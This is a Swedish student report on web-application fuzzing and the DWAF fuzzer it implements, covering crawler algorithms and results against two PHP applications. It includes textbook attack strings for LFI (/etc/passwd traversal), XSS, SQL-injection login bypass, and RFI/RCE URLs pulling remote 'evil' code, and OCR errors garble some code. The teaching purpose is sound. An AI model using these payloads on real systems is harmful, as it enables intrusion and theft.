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Referat

Fuzzing eller fuzz-testning &dr en automatiserad testningsmetod for datorpro-
gram. Tekniken har av olika anledningar blivit allt vanligare som testnings-
metod. Den hir rapporten kommer forst att beskriva varfor det finns ett behov
av en fuzzer som testar/kan testa flera applikationer i en domén. Den forkla-
rar sedan de viktiga delarna i en fuzzer och hur man implementerar en sadan.
Avslutningsvis testas den implementerade fuzzern DWAF mot ett antal web-
bapplikationer som tydlig visar att den har forméagan att hitta manga SQL-
injection och XSS-buggar.



Abstract

Domain-Webb-Applications-Fuzzer (DWAF)

Fuzzing, or fuzz testing is an automated testing technique for computer pro-
grams. For various reasons it has become increasingly common to use this
technology. This report will first describe why there is a need for a fuzzer that
can test several applications in a domain. Then, it explains the important el-
ements of a fuzzer and how to implement them. Finally we will test our own
implementation of a fuzzer, DWAF, on a number of web applications, which
clearly shows that it is able to find many SQL-injections and XSS bugs.



Statement of collaboration

Implementeringen av DWAF delades upp i tva delar. En crawler-del och en fuzzer-
del. Hanif kodade crawler-delen och Ashkan fuzzer-delen. Ashkan har ocksa skrivit
fuzzer-delen, sarbarhetstyperna, hanterat testerna och tagit bilder, medan Hanif har
skrivit resterande och haft ansvar for IATgX-formatering och rittstavningen.
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Kapitel 1

Introduktion

Fuzzing eller fuzz-testning dr en automatiserad testningsmetod for datorprogram. Tekniken
har av olika anledningar blivit allt vanligare som testningsmetod. Anvidndning av fuzzing
stracker sig fran filtyper och lokala applikationer till webbsidor och webbapplikationer.
Rapport beskriver inledningsvis varfor det finns ett behov av en fuzzer som testar/kan tes-
ta flera applikationer i en domén. Den forklara sedan de viktiga delarna i en fuzzer och
hur man implementerar en sadan. Avslutningsvis implementeras webbapplikations-fuzzern
DWAF och testas mot ett antal sidor for att redogora for dess styrka och svagheter.

I ett senare skede kommer vi dven att testa var fuzzer mot CSCs Rapp-system. An-
ledning till detta dr dels att Rapp-systemet dr ganska nytt och dérfor kan innehalla en del
buggar, men ocksa for att bidra med information till KTH/CSC.

Rapporten behandlar foljande fragestillningar:
* Varfor det dr viktigt med webbapplikationsfuzzer?
* Redogorelse for de olika fuzzing-metoderna.
* Vilka ar de viktiga delarna i en fungerande fuzzer?

* Hur implementerar man en webbapplikationsfuzzer?






Kapitel 2

Webbapplikation

Webbapplikation ir en applikation som ir tillgénglig over ett nitverk som Internet eller ett
intranit. Webbapplikationer &r skapade pa ett sitt som gor att de kan brukas av en anvéndare
via en webbsida i en webblédsare. Exempel pa webbaplikationer kan vara webb-mail, soci-
ala nitverk, e-banker, bloggar, webbtidningar och manga andra dynamiska sidor pa nitet.
Pa senare tid har forvintningarna pa anvindarvinligheten och funktionaliteten pda manga
webbapplikationer 6kat markant. T.ex. finns det olika sitt att skicka indata till webbappli-
kationer genom att endast skicka med dem som parametrar i ett adressfilt i en webblisare.
Dessa inmatningsmojligheter forenklar bl.a. delning av linkar mellan olika personer. Men
dessa lankar kan 14tt manipuleras och om de inte hanteras korrekt kan det i vissa fall resul-
tera i sdkerhetshal som kan utnyttjas av hackare. Det 4r just dessa sidkerhetshal som &r av
intresse for den hér rapporten.
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Kapitel 3

Mjukvarutestning

3.1 Testningsmetoder

Man brukar dela upp testnings- och felsokningsmetoder i tre olika kategorier. Benimningen
pa dessa dr som mycket annat i datorvirlden pa engelska, och de heter White-box, Black-
box och Gray-box fuzzing. Fuzzing som testningsmetod faller inom ramen av s.k. black-
box och gray-box testning. Dock kan det vara av intresse att kidnna till 6vriga mojliga
tillvigagangssiitt.

White-box-testning innebér att man har full insyn i hur programmet (eller det man vill
testa) dr uppbyggt och har dven tillgang till kéllkoden.

Ett exempel pa White Box testning:

#include <string.h>
int main(int argc, char =xargv)
{
char buffer[10];
strcpy (buffer, "test");
}

Kodstycket ovan visar en enkel kopiering av en string till en char-array med bestimd
storlek.

#include <string .h>
int main(int argc, char sxsxargv)
{
char buffer[10];
strcpy (buffer, argv[1]);
}

I det hir kodstycket byts stringen ut mot anvidndarens egen inmatning. Hér kan vi direkt se
att om anviandaren matar in en string som har langden storre dn 10 sa kraschar programmet.
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En typ av White-box testning &r “Enhetstestning” (fr. eng. Unit Testing) som dr en me-
tod som testar enskilda enheter av kéllkod for att avgdra om de édr lampliga for anvéndning.
En enhet dr den minsta testbara del av ett program. I procedurell programmering kan en
enhet vara en enskild funktion eller procedur. I objektorienterad programmering &r en en-
het vanligtvis en metod. Enhetstester skapas vanligtvis av programmerare eller ibland av
White-box testare under utvecklingsprocessen [26].

Black-box testning innebér att man, i motsats till White-box testning, inte har tillgang
till nagon sorts information. Man vet inte hur programmet dr uppbyggt och inte heller vad
den kan ta som indata. Det enda man har kunskap om &r det som man kan observera. An-
vindaren kan sjédlv bestimma vad den vill skicka som indata till programmet och man kan
sedan observera utdatan. En typ av Black-box testning &r “Systemtestning” (fr. eng. System
testing) som dr en metod som avser testa hela system eller fardiga produkter for att avgora
om de uppfyller de forbestimda specifikationskraven [25].

Gray-box dr ett begrepp som varken dr White- eller Black-box. Det brukar anvindas
vid de situationer da man har tillgang till information om hur applikationen #r uppbyggd
och vilka indata den kan ta emot. Man har dock i allménhet inte tillgang till killkoden.

Antagandet att White-box-testning skulle vara ett bittre eller effektivare tillvigagangs-
sdtt, for att man har tillgang till kéllkoden, dr inte riktigt sant. Det dr viktigt att podngtera att
det som man ser i kiillkoden inte alltid 4r det som man far ut ndr man exekverar program-
met. T.ex. kan kompileringsvektygen gora ganska drastiska dndringar i koden. De olika
testningsvarianterna kan snarare ses som diverse testningsmetoder dn att det ena skulle va-
ra béttre 4n det andra [11, p. 9].

Tillgéngliga metoder for White-box testning &r att antingen ga igenom koden manuellt
eller att lata en automat ta hand om det. Da en killkod kan innehalla massvis med rader
kod, dr det forsta alternativet nédstan helt uteslutet for alla storre program. For Black- och
Gray-box kan man utveckla en fuzzer, vilket forklaras utforligt i nista kapitel.



Kapitel 4

Fuzzer

Fuzzing dr en testningsmetod som gér ut pa att hel- eller semiautomatiskt mata in ogiltig
och/eller stora médngder indata till en applikation for att sedan analysera hur den beter sig
for de olika inmatningarna. Syftet med fuzzing &r att fa en applikation att krascha eller be-
te sig pa ett sidtt som den inte dr dmnat for. Begreppet fuzzing hirstammar fran en studie
av professor Barton Miller dér han ar 1988 tillsammans med sina elever testade alla unix
kommandon med slumpmassiga data och fick 25-33% av dem att krascha [22].

Fuzzer-programmen faller inom tva kategorier. De mutation-baserade (fr. eng. mutation-
based) som avser att dndra redan existerande indata for att skapa nya testscenarion, och de
generation-baserade (fr. eng. generation-based) som avser att skapa testdata baserad pa mo-
deller och kunskap om indata.

Den enklaste formen av fuzzing teknik &r att skicka en strom av slumpmissiga indata
till en programvara, antingen som kommandoradsflaggor, slumpmaéssigt muterade proto-
kollpaket eller som hindelser. Denna tekniken #r ett kraftfullt verktyg for att hitta fel i
kommandoprompt-program, nétverksprotokoll, och GUI-baserade applikationer och tjéns-
ter.

En annan vanlig teknik som dr enkel att genomfora dr att mutera befintlig indata genom
att dndra/flytta runt bitarna pa mafa eller flytta runt delar av en fil. De mest framgangsrika
fuzzer-applikationer bygger ddremot pa detaljerad forstaelse av formatet eller protokollet
som avses testas. Forstaelsen kan vara baserad pa formatets eller protokollets specifikation
eller rent empiriskt information om tidigare funna buggar och svagheter i det specifika sy-
stemet.

4.1 Fuzzingtyper

Olika fuzzingtyper &r baserade pa malet det vill sidga olika mal har olika egenskaper och
varje typ ldmpar sig for sin egen klass av fuzzer. Nedan forklaras olika fuzzingtyper och
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KAPITEL 4. FUZZER

deras anvindningsomraden.

4.1.1 Lokala fuzzers

I UNIX-virlden tillater setuid applikationer vanliga anvéndare att tillfdlligt kunna héja sina
rdttighetsnivaer i operativ systemet. Just ddrfor dr setuid-applikationer ett sjalvklart mal for
fuzzning. Nagon sorts av bugg kan leda till rotatkomst for angriparen. Det finns tva olika
typer av lokala fuzzers:

* kommandotolk-baserad fuzzing, dér testdata skickas till setuid-applikationen genom
kommandotolken.

* miljovariabel fuzzing, dér test-datan skickas genom UNIX-skal (fr. eng. shell) mil-
jon.

4.1.2 Fjarr-fuzzers

Malen for fjarr-fuzzers dr applikationer som lyssnar pa en nitverksgrinssnitt. Olika tjanster
pé Internet sa som hemsidor, e-mail, olika nitverksprotokoller har en stor roll for anvén-
daren av Internet. En bugg i vilket som helst av dessa tjdnster kan ge mdjlighet till en
angripare att stjila viardefull information fran de drabbade systemen.

4.2 Sarbarhetstyper

For att kunna framgangsrikt fuzza en webbapplikation #r det viktigt att veta vilka olika
sarbarhetstyper en webbapplikation kan ha. T de kommande styckena kommer det att redo-
goras for de mest forkommande sarbarhetstyperna.

4.2.1 Local File Inclusion (LFI)

Local File Inclusion eller LFI [4] dr en metod for att utnyttja en webbapplikation till att 1isa
andra filer fran servern genom t.ex. en webblédsare. Den hir sarbarhetstypen kan utnyttjas
nér utvecklaren anvinder sig av GET requests for att medta (fr. eng. include) filer fran ser-
vern.

Ett typiskt exempel pa ett sarbart PHP-skript:

<?php
$file = $_GET[’ file’];
if (isset($file))
{
include ("pages/ $file");
}
else
{
include ("index .php");
}

7>
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Ett giltig begéran till skriptet kan vara:

http://target.com/index.php?file=file .php

En angripare kan da dndra pa detta och forsoka se innehallet pa andra filer i servern:

http://target.com/index.php?file =../../../../../ etc/passwd%00

Vilket i det har fallet tillater angriparen att se innehallet pa filen /etc/passwd i en *NIX
server.

4.2.2 Cross Site Scripting (XSS)

Cross Site Scripting eller XSS [21] handlar om att bidda in HTML- eller Javascriptkod i
en hemsidas indata och pa sa sitt dndra sidans funktionaliteten efter angriparens behov. Ett
enkelt exempel dr en sokmotor. Nir sokresultaten visas, brukar dven soktermen visas. ett
typexempel kan vara sé hér i sidans killkod:

<html>
<body>

<p>soktermen </p>
</body>
</html >

En angripare kan da ersitta soktermen med valfri javascript. I detta exempel ersétter vi
det med foljande kod:

<script>alert(’XSS’);</script>

Vi far da foljande kod i webbsidans killkod:

<html>
<body>

<p><script>alert (’XSS’);</script ></p>
</body>
</html>

Efter exekveringen visas ett meddelande med “XSS” pa skdrmen. Angriparen kan ut-
nyttja sdkerhetshal som detta genom att skicka s.k. kakor (fr. eng. cookies) och vidare kunna
anvinda dessa for att logga in eller stjéla data fran den drabbade.

4.2.3 SQL-injection

SQL-injection [24] intrdffar ndr en webbapplikation accepterar anvindardata som direkt
placeras i en SQL-sats och inte korrekt filtrerar bort farliga/ogiltiga tecken. Detta kan ge
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angripare atkomst till serverns databas och tillata denna att inte bara stjéla data fran data-
basen, utan dven dndra och ta bort data.
Nedanstaende SQL-kommando &r ett exempel pa ett SQL-injection.

s o

select * from users where username =’" & username & "’ and password =
& password & "’

Om man da tinker sig att en angripare vet att en anvindare har anvindarnamnet admin,
men inte vet 16senordet kan da angriparen mata in féljande indatan:

username = "admin"

"o

password = or '1’="1"

Detta kommer innebéra att angriparen blir inloggad som *admin’ da fragan ’1’="1" upp-
fylls da den alltid &r sann.

4.2.4 Remote File Inclusion (RFI)

Angriparens frimsta 6nskan #r att kunna kora sin kod pa malsystemet; en RFI [23] mojlig-
gor detta. En lyckad RFI ger angriparen atkomst till PHP-programmets funktioner, sa som
databaskommunikation, atkomst till 1dsenord och filer med mera.

Ett typiskt exempel pa en sarbar PHP skript:

<7php
include ($path . "/file.php");

7>

Ett giltig begéran till skriptet kan vara:

http://target.com/index.php?path=file .php

En angripare kan da éndra pa detta och forsoka kora sin egen kod pa servern genom att
skriva in foljande text i adressfiltet:

http://target.com/index.php?path=http :// site.com/evilkod . txt?

4.2.5 Remote Code Execution (RCE)

Remote Code Execution eller RCE [20] &r ett sdkerhetsproblem i PHP som m&jliggor fjérr-
korning av kod via filsystemsanrop. Den hir typen av sidkerhetshal kan ske pa grund av
olika saker:

10




~N N RN =

Ju—

—_

4.3. WEBBAPPLIKATIONS-FUZZER
* Otillracklig validering av anvéndarnas input innan anrop av det dynamiska filsyste-
met

* allow_url_fopen() funktionen #r aktiverad i PHPs grundinstillningar vilket inte ens
anvinds av manga webb-applikationer.

Ett typiskt PHP-kod som ér sarbart mot RCE:

<?php
$msg = $_GET[ msg’];
$ip = getenv( 'REMOTE_ADDR’) ;
$error = fopen(’errorlog.php’,’a’);
fwrite ($error , ’<br />’ .$msg. ’<br />’ .$ip. <br />’);
fclose($error);
7>

Det kan utnyttjas av en angripare pa detta sitt:

http://target.com/info.php?msg=<?passthru(&_get( EVILCODE]);?>

Angriparen kan da utnyttja sarbarheten genom att anropa pa errorlog.php:

http://target.com/errorlog .php?attacker=http :// site.com/evilCode. txt?

4.3 Webbapplikations-fuzzer

Webbapplikations-fuzzer &r en specialiserad form av nétverksprotokoll-fuzzers. Till skill-

nad fran en nétverksprotokoll-fuzzer som muterar alla ndtverkspaketstyper fokuserar webbapplikations-

fuzzer bara pa de paket som Sverensstimmer med HTTP-specifikationen. Det vill séiga det
gors ett antal tester mot en applikation som kors pa en server. Malet med testerna #r att
hitta de buggar i webbaplikationer som later en angripare ta kontroll Gver servern som
webbapplikationen kors pa. En domdin-webbapplikations-fuzzer dr en webbapplikations-
fuzzer som testar ett flertal applikationer 6ver en domén. Detta forklaras utforligt i nista
kapitel.
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Kapitel 5

Crawler

En annan viktig del i en webbapplikationsfuzzer dr att den ska ha mojlighet att kunna testa
ett flertal webbapplikationer 6ver en storre domin. Dessa stora doméner dr ganska vanliga
hos storre organisationer. Det dr ocksa vanligt att olika delar av en och samma organisation
utvecklar olika webbapplikationer for sina respektive behov. Ibland kan olika webbappli-
kationer kommunicera med varandra och/eller med nagon underliggande databas. Det kan
dérfor vara angeldget att kora webbfuzzern mot alla webbapplikationer i en domén/subdo-
méin.

Ett sitt att kunna gora det pa dr med hjélp av en s.k. “crawler” eller “spider” som
de ocksa kallas [27]. En crawler dr en applikation som soker igenom en webbsida efter
lankar till andra webbsidor, eller till andra delar av samma webbsida. Denna operation sker
rekursivt och kan ta allt fran nagra fa sekunder till flera timmar eller mer. Hur snabbt det
gar kan bero pa en eller flera av f6ljande faktorer:

1. hur stor webbsidan ir

2. hur brett man vill sdka

3. hur effektiv den implementerade algoritmen for crawlern ar
4. webbserverns och klientens prestanda

5. webbserverns och klientens nétverkshastighet

Punkterna 1, 4 och 5 kan uteslutas i det hir fallet eftersom #ndring av webbsidors
storlek samt inkdp av ny hardvara ej dr aktuell. Det kan dock vara intressant att ha dessa
punkter i atanke om det skulle uppsta fel.

13
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5.1 Traversering

Inom datalogi kan man abstrahera ett dator-nétverk eller valfritt sammansatta objekt som
ett trid eller graf, och objekten som noder eller férgreningar. I detta fall dr varje nod en
webbsida och varje forgrening representerar en lank [12].

Traversering dr en systematisk procedur for att utforska en graf genom att undersoka
alla dess noder och foérgreningar. Det finns idag tva dominerande algoritmer for att styra pa
vilket sétt traverseringen skall genomforas.

Figur 5.1. Ett trid med 8 noder varav en rot

14
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5.1. TRAVERSERING

5.1.1 DFS

En av dessa tva algoritmer dr djupet-forst-sokning (DFS). DFS ir definierad som sa att den
gar in i (besoker) en undernod rekursivt, tills den har natt botten pa tridet. Nar den har
natt botten kommer den sedan upp ett steg for att pa nytt forsoka ga ner till botten via en
annan gren. Pa sa sitt kommer den genomsdka alla noder i trddet. En illustration pa det
visas nedan.

Figur 5.2. Tllustrering av DFS pa ett trdd med 8 noder

En traversering av ovanstaende trid blir da som foljande:
A-B—+D—-FE—-H—-C—=F-=>(d

En mer generell algoritm for DFS [12, p. 305]:

Algoritm DFS(G, v):

Input: A graph G and a vertex v of G

Output: A labeling of the edges in the connected component of v as
discovery edges and black edges

label v as explored
for all edges e in G.incidentEdges(v) do
if edge e is unexplored then
w <= G.opposite(v, e)
if vertex w is unexplored then
label e as dicovery edge
recursively call DFS(G, w)
else
label e as a back edge

15
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5.1.2 BFS

Bredden-forst-sokning (BES) -algoritmen &r definierad pa foljande sitt:
1. Spara forst alla nédrliggande noder i en ko.

2. Besok sedan dessa noder i den ordning de finns i kon och lidgg till deras undernoder
till kon.

Denna procedur sker iterativt tills det inte finns nagra noder kvar i kon. Nedan foljer en
illustration pa hur BFS gar igenom samma tréid som ovan.

Figur 5.3. Illustrering av BFS pa ett trid med 8 noder

En traversering av ovanstaende trid blir da som f6ljande:
A-B—+C—-D—+E—-F—-G—H

En mer generell algoritm for BFS [12, p. 313]:

Algoritm BFS(G, s):

Input: A graph G and a vertex s of G

Output: A labeling of the edges in the connected component of v as
discovery edges and black edges

create an empty container LO
insert s into LO
i <=0
while Li is not empty do
create an empty container Li+l
for each vertex v in Li do

16
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5.2. IDENTIFIERING AV GILLTIGA LANKAR

for all edges e in G.incidentEdges(v) do
if edges e is unexplored then

let w be the other endpoint of e

if vertex w is unexplored then
label e as discovery edge
insert w into Li+l

else
label e as a cross edge

i <=1+ 1

5.1.3 Jamforelse mellan DFS och BFS

Aven da BFS och DFS bada har sina for- och nackdelar i olika scenarion s #r det nistan
ingen skillnad alls i sddana hér fall da en crawler maste ga igenom hela hemsidan. Dock kan
det fortfarande vara intressant att implementera bada tva om det dr av intresse att traversera
en domén i en viss ordning.

5.2 Identifiering av gilltiga lankar

For att kunna hitta de sokta linkarna i en HTML-kod, maste man ta reda pa exakt vad det
ir som man soker och dérefter generalisera en sokningsmetod for det. I det hér fallet hand-
lar det om lénkar till webbapplikationer och andra sidor inom samma domén. Nedan listas
nagra exemplar:

href = "http://dir/page.jsp?namel=valuel"

href = "https://dir/page.asp?namel=valuel"

href = "http://dir/page.php?namel=valuel&name2=value2"
href = "http://dir/?namel=valuel"

href = "/page.htm"

href = "/page.html"

href = "../page.html"

href = "../../page.htm"

Det finns manga fler exemplar som kan listas hir ovan, men detta ricker nog for att
generalisera en soknings-/identifierings-metod. En generalisering kan se ut pa foljande sitt:

[HTML_tag] [protokoll]://[sdkvag]/[sida] [.fildndelse]?[namn]=[data] (& [namn]=[data])+

[HTML_tag]- innehaller i detta fall endast "href="

[protokoll] - kan innehalla bade “http” och “https”, men far ocksa vara tom.

[s6kviag] - maste alltid borja med en eller flera ganger av nagon av féljande: * /7, +../’.
Sedan foljer en eller flera tecken som inte dr nagon av féljande: *?°, ’=".

[sida] - en sida dr precis som ovan, fast utan det forsta kriteriet.

[fildndelse] - hir dr det nagon av foljande som giller. .asp, .aspx, .php, .jsp och .cgi. Det

kan ocksa vara tomt.
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KAPITEL 5. CRAWLER

[namn] - precis som [sida]

[data] - precis som [sida]

(& [namn]=[data]) - om webbapplikationen tar flera argument som indata s& separeras de
med ett ’&’-tecken. Darefter foljer " [namn]=[data]" for varje argument.

Det absolut vanligaste sittet att sdrskilja liknande sammansatta strangar ur en storre text
ar att anvénda ett s.k. reguljér uttryck. Detta kan goras i nistan vilken programmeringssprak
som helst, och pa manga olika sitt. Reguljdra uttryck dr dock langt ifran det enda sittet att
t.ex. hitta lankar i en webbsida. T.ex. webblédsarna sjilva anvénder inte reguljira uttryck for
att hitta linkar. Det finns t.ex. HTML-parsningbibliotek sasom “tagsoup” och “beautiful
soup” som “plockar ut” ldnkar ur ett dokument med DOM-innehall (HTML, XML och
dylikt).
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Kapitel 6

Verktyg

Det finns ett otal verktyg till forfogande for att kunna skapa en fuzzer eller analysera ett
protokoll. Den absolut enklaste formen av en fuzzer kan man enkelt skapa genom att utnytt-
ja pipe-funktionen i unix-liknande milj6 tillsammans med ett antal kommando i terminalen.
Det édr ocksa ganska vanligt att skapa ett GUI-baserad program, dar man kan ha en bra dver-
blick av den grafisk representation av det som avses fuzzas. Nagra kommersiella program
som hor till den senare kategorin dr Weblnspect [7], Rational App Scan [8], Acunetix Web
Vulnerability Scanner [1] med flera.

Andra verktyg som kan vara av intresse for den hir rapporten dr bl.a. LiveHttpHe-
ader [3], som ér ett tilligg till webblidsaren Firefox. Den fungerar som en enkel sniffer
som lyssnar till vilka HTML-headers som skickas och tas emot i Firefox. Aven vilkinda
WireShark [28] kan komma till bra anvéindning for att sniffa pa nitverkstrafiken, for att
sedan kunna analysera in- och ut-datan.

Det finns ocksa en uppsjo av olika fuzzingramverk tillgdngligt som kan forenkla ut-
vecklingen av fuzzer-applikationer avsevirt. Det brukar dock finnas en inldrningstroskel
som kan forsvéra valet. Bland de mest populéra fuzzer-ramverk ér: Spike [9], Peach [15],
Codenomicon [5], Sulley [6], JBroFuzz [14], Autodafé [19], General Purpose Fuzzer [10]
och Burp Sutie [16].
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Kapitel 7

Implementation

Det hir kapitlet forklarar hur implementationen av Domén-Webb-Applikations-Fuzzer (DWAF)
har gatt till. En avskalning av vissa funktioner har gjorts for att halla fuzzern pa en relativ
enkel niva och p.g.a. tidsbrist. Fokus har lagts pa att fa fuzzern att framgangsrikt kunna
exploatera tva sarbarhetstyper mot webbapplikationer. De tva sarbarhetstyperna dr SQL-
injection och XSS. Vidare ar en crawler implementerad med bade DFS och BFS algoritm.
Den senare ir flertradad och avslutar darfor arbetet mycket fortare &n den tidigare. En mer
detaljerad forklaring foljer nedan.

7.1 Var ska man borja?

For att kunna implementera en fuzzer, maste hinsyn tas till féljande sex punkter:

1. Identifiera malet: I det hér fallet #r det alla webbapplikationer som tar indata av
typen som dr beskrivet nedan.

2. Identifiera indatan: Indatan ska vara riktade mot alla funna ldnkar i en domén som
tar indata av typen som foljs av ett ’?’ och sedan en eller flera av “namn=vérde”-
typen, med ett &’ emellan om det &r flera.

3. Generera fuzzad data: Da fokus har lagts pa sarbarhetstyperna SQL-injection och
XSS, dr det enklast att hardkoda de indata som &r vilkinda till att exploatera buggar
eller felmeddelanden.

4. Exekvera fuzzad data: Exekvering av fuzzad data sker genom att det genererade
fuzz-data laggs till i slutet av en av en ldnk och sedan utfors ett anslutningsforsok.

5. Observera undantagen (fr. eng. exceptions): Efter en lyckad anslutning, skickas
utdatan till en felloggshanterare.

6. Avgora exploateringen/buggidentifieringen: I felloggshanteraren analyseras utda-
tan och identifierar funna buggar och/eller felmeddelanden.
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KAPITEL 7. IMPLEMENTATION

7.2 Pseudokod och diagram

Det hir avsnittet avser att beskriva de viktiga psudokoderna och DWAFs UML-diagram.

r)f- B
URL

Ladda ner inneshallet
| sidar

v

Hitta alla giltiga ]
lankar

,//Lx
T fler lankar i Icts:&“

v

Mej
! Fuzz-hanterare L]

Y ¢ ¢ ¥

Funna lankar |

Crass Site Scriptin Remate Code Remmate File
S0 injecticn {55 y Execution Inclusion
(RCE) (RFI]
Fas ett Fas twd

Fellogg

Figur 7.1. UML-diagram for implementation av en web-fuzzer.

Ovanstdende UML beskriver hur DWAF arbetar. Den ér i huvudsak uppbyggd av tva
delar. En crawler-del och en fuzzer-del. Forst far crawlern en link (URL) som den soker
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igenom. Den samlar da alla funna giltiga ldnkar i en lista. Sedan gar den igenom alla de
funna ldinkarna och lagger till dem i listan/kon. Pa sa sitt hittar den alla linkar i en domén.
Liankarna identifieras med hjélp av en reguljér uttryck som borjar med “href” och som foljs
dérefter av den sokta ldnken:

href ?= 2(2:\"1°) (Chttp[s1?2://7) 2([\\w+\\x2e/?]+) ?2(/?2(\\w+) ?((.asp |. aspx
[.phpl.jspl.cgi)\\?2((\\w+=\\w+&?7)+)))?) (\"1 ) }}

Regexpet ovan ér konstruerat sa att det grupperar olika delar av ldnken for att moéjliggo-
ra ett smidigt atkommande. Till exempel kan man i Java anropa metoden match.group (0)
for att fa tillgang till hela strangen, och match.group (1) for att komma at forsta gruppe-
ringen som i det hir fallet blir http(s]://.

7.2.1 Algoritm

Aven om crawler-algoritmen ir av stor betydelse sa #r det éind4 relativ enkelt att implemen-
tera en naiv sadan. Pseudokoden (for en DFS variant) ser ut som féljande:

function crawl_DFS is:
input: String url
external: HashSet<String> visited
siteContent <= download(url)
validLinks <= getValidLinks(siteContent, url)
for all urls in validLinks
if urls not visited
visited .add(urls)
crawl_DFS (urls)
end if
end for
end crawl_DFS

Den rekursiva funktionen crawl_DFS fungerar som sa att den far en initial-url som in-
data. Den laddar sedan ner hela html koden som finns i den sidan och skickar innehéllet
som indata till funktionen getValidLinks, tillsammans med den angivna url-en. Som retur-
virde far den en lista med alla url som finns i samma doméin. Sedan anropas crawlern pa
varje url som finns i listan och som inte redan dr besokt. Pa sa sitt gar den igenom en hel
domin.

Algoritmen kan effektiviseras genom att gora sokningen flertradad sa att flera sidor lad-
das ner och analyseras samtidigt.

function getValidLinks is:
input: String siteContent, String url
output: ArrayList<String> validLinks
external: ArrayList<String> linkToFuzz
for all urls in siteContent
if urls matches HTTP_PATTERN
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7 validLinks .add(urls)

8 end if

9 if urls matches FUZZ PATTERN and starts with url
10 linkToFuzz.add(urls)

11 end if

12 end for

13| end getValidLinks

Ovanstaende funktion, getValidLinks, anropas fran crawler-funktionen. Funktionens
uppgift dr att gd igenom hela HTML-koden och samla ihop de url som ldnkar till andra
sidor inom samma domén. Den ska ocksa samla ihop alla url pa vilka fuzzing kan tillampas
pé for senare anvindning. Hér dr det viktigt att 14gga krut pa hur sjdlva identifieringen av
lankar ska ga till, vilket har forklarats utforligt i tidigare kapitel.

Efter insamlingen av alla ldnkar, utfors sjdlva fuzzingen som gar igenom alla ldnkar
och utfor de olika sarbarhetstesterna parallellt for varje ldnk och for varje sarbarhetstyp.

B pomain Web Application Fuzzer (DWAF) 10| x|

File Options Help

| *‘ L&? |L|r|: Ihttp:,l',l'lucalhast,l'| |

...... & htepff,

Figur 7.2. En forsta prototyp av DWAF.
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Kapitel 8

Resultat

Rapportens ursprungliga uppgift var att redogora vad en fuzzer ir, dess olika funktioner,
varfor fuzzer-testning &r viktigt och hur man implementerar en sadan. Nedan visas de re-
sultat som 4r framtagna efter lyckad fuzzing av olika webbapplikationer med DWAF.

PHP Planner [18] ar en enkel webbapplikations-kalender med ett fullt fungerande an-
vindarsystem med mdjlighet att anpassa det allménna utseendet och beteendet i kalendern.
Efter installation av PHP Planner pa localhost, fuzzades den med DWAF och det visade sig
att applikationen #r sarbar mot XSS.

Domain Web Application Fuzzer {(DWAF)
File ©Options Help

> @

Lirl: Ihttp:,l',l'localhost,l'phpplanner,l'

W Type: E53|| Link: http://localhost/phpplanner/manag

Type: ES3|| Link: http://localhost/phpplanner/mwanag
Type: E33|| Link: http://localhost/phpplanner/manag
Type: X33|| Link: http://localhost/phpplanner/manag
Type: I33|| Link: http://localhost/phpplanner/manag
Type: ES83|| Link: http://localhost/phpplanner/manag
Type: E33|| Link: http://localhost/phpplanner/manag
Type: ES3|| Link: http://localhost/phpplanner/mwanag
Type: ES3|| Link: http://localhost/phpplanner/mwanag

Figur 8.1. Funna XSS i PHP Planner med DWAF.
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For att kontrollera om resultatet frain DWAF var korrekt testades det manuellt i webb-
lasaren. I figuren nedan bekriftas DWAFs resultat. Det som sker &r att webbapplikationen

mojliggor att en anvindare kan kora valfri HTML-kod direkt fran adressfiltet. Koden som
kors 1 webb-ldsaren ar:

Ju—

http://localhost/phpplanner/manage. php?stamp="><script>alert (" Vulnerable
");</script>

Detta ér en enkel Javaskript som anger ordet “Vulnerable” som meddelande pa skdrmen.

) PHP Planner - PHP Planner 0.3 - Mozilla Firefox
File Edit ‘Wiew Hiskory Bookmarks  Tools  Help

éﬁv c x ml |http:,I',I'Il:ucalhost,l'phpplanner,l'manage.php?stamp=":H:script>a|ert("\fu|nerable")j=:,|'script:=

J 2" PHP Planner -- PHP Planner 0.3 | - |

PHE Planner

YalUR EVENT TRACKER

Mo items assigned to this date

[JavaScript Application] |

I.-t Wulnerable

Figur 8.2. Manuellt test av XSS i PHP Planner.
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ShimBi CMS [17] &r en webbapplikation som anvinds for att kunna skapa hemsidor och
l4tt kunna hantera dem. ShimBi CMS installerades pa localhost servern och fuzzades, efter
ett tag visade det sig att applikationen skall vara sarbar mot SQL-injection. DWAF visar
typen pa buggen ir av typen pahse one vilket innebir att efter en inmatning av testdata,
genererar php ett felmeddelande vilket skickas direkt till klienten.

Om DWAF visar typen phase two da innebir det att inget felmeddelande genereras ut-
an angriparen kan mata in villkorliga SQL-kommandon i URLn och se till att resultatet pa
villkorliga satser skickas till databasen och resultatet skickas till angriparen.

Dumain Web Application Fuzzer {DWAF)

File Options Help

| P u’ |Llr|: Ihttp:,l',l'lu:u:alhu:ust,l'ShimBiCMS,l’

sssssssssssssssssne

http: [ flocalhostShimEicC

index. php
details,phprid=110
details, phprid=114
details, phprid=113
details, phprid=111
details, phprid=112
details, phprid=105
details, phprid=109
details, phprid=55
details, phprid=107
details, phprid=29
details, phprid=26
details, phprid=106
details, phprid=100
details, phprid=237
details, php?id=93
details, phprid=24
details, phprid=23
details, phprid=22
details, phprid=21

) KT

Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Type:
Tvpe:

S0L
S0L
0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L
S0L

injection
injection
injection
injection
injection
injection
injection
injection
injection
injection
injection
injection
injection
injection
injection
injection
injection
injection

phas=e
phas=e
phase
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phas=e
phase

one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |
one| |

Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:
Link:

ht
ht
ht
ht
ht
ht
ht
ht
ht
ht
ht
ht
ht
ht
ht
ht
ht
ht

Found 45 links to fuzz in 12,469 seconds!

Figur 8.3. Funna SQL-injection i ShimBi CMS med DWAF.
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Aven hir testades resultatet frin DWAF manuellt for att bekrifta dess tillforlitlighet. I
nedanstaende figur illustreras hur ett SQL-kommando kors direkt fran webbldsarens adress-
fdlt. Det visar tydligt pa att webbapplikationen inte hanterar inmatningar av den hir typen
